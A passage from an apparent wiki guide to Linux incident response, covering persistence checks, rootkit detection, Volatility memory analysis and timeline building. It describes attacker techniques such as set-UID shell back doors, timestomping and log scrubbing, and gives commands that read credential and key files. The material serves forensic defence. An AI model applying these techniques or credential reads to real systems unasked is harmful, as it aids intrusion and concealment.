&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
